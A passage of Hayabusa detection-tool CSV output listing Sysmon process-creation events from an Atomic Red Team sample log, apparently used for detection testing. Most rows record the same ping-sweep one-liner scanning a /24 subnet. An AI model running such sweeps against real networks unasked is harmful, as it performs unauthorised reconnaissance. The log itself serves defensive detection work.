192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:12.023 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.75 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:12.547 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.76 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:13.030 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.77 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:13.489 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.78 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:14.036 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.79 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:14.552 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.80 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:15.051 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.81 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:15.548 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.82 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:16.040 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.83 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:16.584 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.84 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:17.041 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.85 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:17.511 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.86 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:18.015 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.87 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:18.509 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.88 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:18.990 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.89 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:19.541 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.90 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:20.006 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.91 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:20.543 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.92 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:21.036 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.93 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:21.488 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.94 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:22.030 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.95 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:22.542 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.96 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:23.037 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.97 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:23.534 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.98 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:24.026 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.99 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:24.521 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.100 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:25.035 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.101 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:25.529 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.102 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:26.007 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.103 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:26.534 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.104 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:27.040 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.105 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:27.493 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.106 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:28.017 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.107 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:28.537 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.108 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:29.110 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.109 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:29.561 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.110 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:30.054 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.111 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:30.526 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.112 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:31.015 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.113 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:31.476 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.114 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:32.005 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.115 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:32.515 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.116 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:33.004 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.117 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:33.515 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.118 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:33.900 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.119 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:34.490 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.120 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:35.031 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.121 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:35.411 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.122 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:35.999 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.123 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:36.510 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.124 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:36.905 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.125 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:37.449 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.126 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:37.947 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.127 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:38.514 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.128 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:38.992 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.129 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:39.508 +09:00,MSEDGEWIN10,1,informational,Process 